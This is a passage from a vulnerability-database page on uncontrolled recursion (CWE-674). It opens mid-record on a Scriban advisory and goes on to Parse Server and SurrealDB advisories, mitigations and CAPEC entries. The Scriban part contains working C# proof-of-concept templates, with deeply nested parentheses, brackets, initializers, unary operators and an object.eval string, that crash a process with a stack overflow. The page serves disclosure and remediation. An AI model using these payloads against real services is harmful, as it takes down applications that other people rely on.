\"_isExpressionDepthLimitReached\" src/`): it appears in exactly four places \u2014 the field declaration (`Parser.cs:40`), a reset to `false` (`Parser.cs:106`), and within `EnterExpression` the dedup test (`Parser.Expressions.cs:1213`) and its assignment to `true` (`:1216`). The only *read* is the dedup test on line 1213; nothing else reads it. `ParseExpression` calls `EnterExpression()` and then continues straight into the token switch with no flag check:\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182\nEnterExpression();\ntry\n{\n    ...\n    case TokenType.OpenParen:\n        leftOperand = ParseParenthesis();   // recurses back into ParseExpression\n```\n\n```csharp\n// src/Scriban/Parsing/Parser.Expressions.cs:984-1001\nprivate ScriptExpression ParseParenthesis()\n{\n    var expression = Open\u003cScriptNestedExpression\u003e();\n    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);\n    expression.Expression = ExpectAndParseExpression(expression);  // -\u003e ParseExpression -\u003e ParseParenthesis -\u003e ...\n    ...\n}\n```\n\nBoth `Template.Parse` (Scriban-native) and `Template.ParseLiquid` (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.\n\nSo for input nested N levels deep, the parser recurses N levels deep regardless of `ExpressionDepthLimit`. There is no `RuntimeHelpers.EnsureSufficientExecutionStack()` call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises `StackOverflowException`, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform\u0027s thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.\n\nThe same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: `ParseArrayInitializer` was wrapped in `EnterExpression()/LeaveExpression()`, but because `EnterExpression()` only logs, the array path still overflows.\n\nThe existing regression tests only assert `HasErrors == true` at a nesting depth of ~20 with a limit of 10 (`src/Scriban.Tests/TestParser.cs`); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.\n\n**Runtime reachability without template injection:** `object.eval` / `object.eval_template` (`src/Scriban/Functions/ObjectFunctions.cs:72-155`) re-parse a string argument at render time using `Template.Parse(...)`. An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into `object.eval`. The `catch (Exception)` inside `Eval` cannot intercept the `StackOverflowException`.\n\n### PoC\n\nA single console project reproduces it on the released NuGet package.\n\n`poc.csproj`:\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003c!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --\u003e\n  \u003c/PropertyGroup\u003e\n  \u003cItemGroup\u003e\n    \u003cPackageReference Include=\"Scriban\" Version=\"7.2.0\" /\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n```\n\n`Program.cs`:\n```csharp\nusing Scriban;\n\nint n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack\nstring tpl = \"{{ \" + new string(\u0027(\u0027, n) + \"1\" + new string(\u0027)\u0027, n) + \" }}\";\n\nSystem.Console.WriteLine($\"Parsing template with {n} nested parentheses (default ParserOptions)...\");\nTemplate.Parse(tpl);                 // \u003c-- process is killed here\nSystem.Console.WriteLine(\"Parse returned without crashing\"); // never reached\n```\n\nRun:\n```sh\ndotnet run -c Release\n```\n\nObserved output (process aborts; shell exit code 134 = SIGABRT):\n```\nParsing template with 8000 nested parentheses (default ParserOptions)...\nStack overflow.\n   at Scriban.Parsing.Parser.ParseParenthesis()\n   at Scriban.Parsing.Parser.ParseExpression(...)\n   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)\n   at Scriban.Parsing.Parser.ParseParenthesis()\n   ... (repeats until the stack is exhausted)\n```\n\nAdditional confirmations (same crash / exit 134), substituting the template body in `Program.cs`:\n\nThe explicit limit is ignored \u2014 still crashes:\n```csharp\nTemplate.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });\n```\n\nArray initializers (the GHSA-p6q4 path):\n```csharp\nstring tpl = \"{{ \" + new string(\u0027[\u0027, n) + \"1\" + new string(\u0027]\u0027, n) + \" }}\";\nTemplate.Parse(tpl);  // crashes identically\n```\n\nObject initializers `{x:{x:...{x:1}...}}`:\n```csharp\nvar b = new System.Text.StringBuilder();\nfor (int i = 0; i \u003c n; i++) b.Append(\"{x:\");\nb.Append(\u00271\u0027);\nb.Append(\u0027}\u0027, n);\nTemplate.Parse(\"{{ \" + b + \" }}\");  // crashes identically\n```\n\nUnary operators:\n```csharp\nstring tpl = \"{{ \" + new string(\u0027!\u0027, n) + \"true\" + \" }}\";\nTemplate.Parse(tpl);  // crashes identically\n```\n\nLiquid syntax mode (shares the same expression parser):\n```csharp\nstring tpl = \"{{ \" + new string(\u0027(\u0027, n) + \"1\" + new string(\u0027)\u0027, n) + \" }}\";\nTemplate.ParseLiquid(tpl);  // crashes identically\n```\n\nRuntime via `object.eval`, with a fully trusted outer template \u2014 verified end-to-end: the outer parse reports `HasErrors == false`, then `Render()` crashes the process and the surrounding `try/catch` never fires (the `StackOverflowException` is uncatchable):\n```csharp\nusing Scriban;\n\nint n = 8000;\nstring deep = new string(\u0027(\u0027, n) + \"1\" + new string(\u0027)\u0027, n);\nstring outer = \"{{ \\\"\" + deep + \"\\\" | object.eval }}\";\n\nSystem.Console.WriteLine($\"Outer template length = {outer.Length} chars.\");\nvar t = Template.Parse(outer);\nSystem.Console.WriteLine($\"Outer parsed. HasErrors = {t.HasErrors}\");\nSystem.Console.WriteLine(\"Rendering (object.eval re-parses the inner string at runtime)...\");\ntry\n{\n    t.Render();\n    System.Console.WriteLine(\"Render returned without crashing\");\n}\ncatch (System.Exception e)\n{\n    System.Console.WriteLine($\"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)\");\n}\n```\n\nVerified against clean NuGet installs of Scriban **6.6.0, 7.0.0, 7.1.0, and 7.2.0** (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (`HasErrors == false`, no crash).\n\n### Impact\n\n- **Type:** Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable `StackOverflowException` and full process termination.\n- **Severity:** CVSS 3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` = **7.5 (High)** \u2014 the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.\n- **Who is impacted:** Any application that calls `Template.Parse` / `Template.ParseLiquid` (or `Template.Render` on an unparsed source) on template text that is wholly or partially attacker-controlled \u2014 the documented server-side template scenario \u2014 and any application that passes attacker-controlled strings to `object.eval` / `object.eval_template`, even when its own templates are trusted.\n- **Why the existing mitigation does not help:** `ExpressionDepthLimit` (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a `StackOverflowException`, callers cannot defend with `try/catch` either \u2014 the process is lost.\n- **Affected versions:** 6.6.0 \u2013 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.\n\n**Suggested remediation:** make the limit actually stop descent \u2014 e.g. throw a parse exception from `EnterExpression()` when the limit is exceeded (or log with `isFatal: true` and have the parse loop honor `_hasFatalError` by unwinding). As defense in depth, call `RuntimeHelpers.EnsureSufficientExecutionStack()` at the entry of `ParseExpression` (the same technique already used in `object.to_json`), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking `HasErrors` at depth 20.",
  "id": "GHSA-6q7j-xr26-3h2c",
  "modified": "2026-07-06T13:10:56Z",
  "published": "2026-06-26T21:02:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scriban/scriban/security/advisories/GHSA-6q7j-xr26-3h2c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scriban/scriban"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Scriban: ExpressionDepthLimit guard is non-enforcing \u2014 parser-recursion DoS in 6.6.0\u20137.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)"
}

GHSA-6QH5-M6G3-XHQ6

Vulnerability from github – Published: 2026-03-20 21:48 – Updated: 2026-03-30 13:51
VLAI
Summary
Parse Server LiveQuery subscription query depth bypass
Details

Impact

Parse Server's LiveQuery component does not enforce the requestComplexity.queryDepth configuration setting when processing WebSocket subscription requests. An attacker can send a subscription with deeply nested logical operators, causing excessive recursion and CPU consumption that degrades or disrupts service availability.

Deployments are affected when the LiveQuery WebSocket endpoint is reachable by untrusted clients.

Patches

The fix adds query condition depth validation to the LiveQuery subscription handler, enforcing the same requestComplexity.queryDepth limit that already protects REST API queries.

Workarounds

There is no known workaround other than upgrading.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.6.0-alpha.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.56"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T21:48:17Z",
    "nvd_published_at": "2026-03-24T19:16:54Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nParse Server\u0027s LiveQuery component does not enforce the `requestComplexity.queryDepth` configuration setting when processing WebSocket subscription requests. An attacker can send a subscription with deeply nested logical operators, causing excessive recursion and CPU consumption that degrades or disrupts service availability.\n\nDeployments are affected when the LiveQuery WebSocket endpoint is reachable by untrusted clients.\n\n### Patches\n\nThe fix adds query condition depth validation to the LiveQuery subscription handler, enforcing the same `requestComplexity.queryDepth` limit that already protects REST API queries.\n\n### Workarounds\n\nThere is no known workaround other than upgrading.",
  "id": "GHSA-6qh5-m6g3-xhq6",
  "modified": "2026-03-30T13:51:41Z",
  "published": "2026-03-20T21:48:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-6qh5-m6g3-xhq6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33508"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10259"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/060d27053fb0fadf613c25aabab7fe0c82b7a899"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/commit/2126fe4e12f9b399dc6b4b6a3fa70cb1825f159b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Parse Server LiveQuery subscription query depth bypass"
}

GHSA-6R8P-HPG7-825G

Vulnerability from github – Published: 2024-01-18 15:55 – Updated: 2024-01-18 15:55
VLAI
Summary
Uncontrolled Recursion in SurrealQL Parsing
Details

In some specific instances, the SurrealQL parser will attempt to recursively parse nested statements or idioms (i.e. nested IF and RELATE statements, nested basic idioms and nested access to attributes) without checking if the depth limit established by default or in the SURREAL_MAX_COMPUTATION_DEPTH environment variable is exceeded. This can lead to the stack overflowing when the nesting surpasses certain levels of depth.

Impact

An attacker that is authorized to run queries on a SurrealDB server may be able to run a query using the affected statements and idioms with very deep nesting in order to crash the server, leading to denial of service.

Patches

  • Version 1.1.0 and later are not affected by this issue.

Workarounds

Concerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.

References

  • https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62410
  • https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62652
  • https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=63797
  • https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64445
  • https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64731
  • https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65277
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-18T15:55:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "In some specific instances, the SurrealQL parser will attempt to recursively parse nested statements or idioms (i.e. nested `IF` and `RELATE` statements, nested basic idioms and nested access to attributes) without checking if the depth limit established by default or in the `SURREAL_MAX_COMPUTATION_DEPTH` environment variable is exceeded. This can lead to the stack overflowing when the nesting surpasses certain levels of depth.\n\n### Impact\n\nAn attacker that is authorized to run queries on a SurrealDB server may be able to run a query using the affected statements and idioms with very deep nesting in order to crash the server, leading to denial of service.\n\n### Patches\n\n- Version 1.1.0 and later are not affected by this issue.\n\n### Workarounds\n\nConcerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.\n\n### References\n\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62410\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62652\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=63797\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64445\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64731\n- https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65277",
  "id": "GHSA-6r8p-hpg7-825g",
  "modified": "2024-01-18T15:55:18Z",
  "published": "2024-01-18T15:55:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-6r8p-hpg7-825g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/pull/3232"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/commit/f838da248e3854e4250e5187a3a67507cb7efaaa"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62410"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=62652"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=63797"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64445"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64731"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65277"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/surrealdb/surrealdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Recursion in SurrealQL Parsing"
}
Mitigation
Implementation

Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

Mitigation
Implementation

Increase the stack size.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

← Back to the CWE list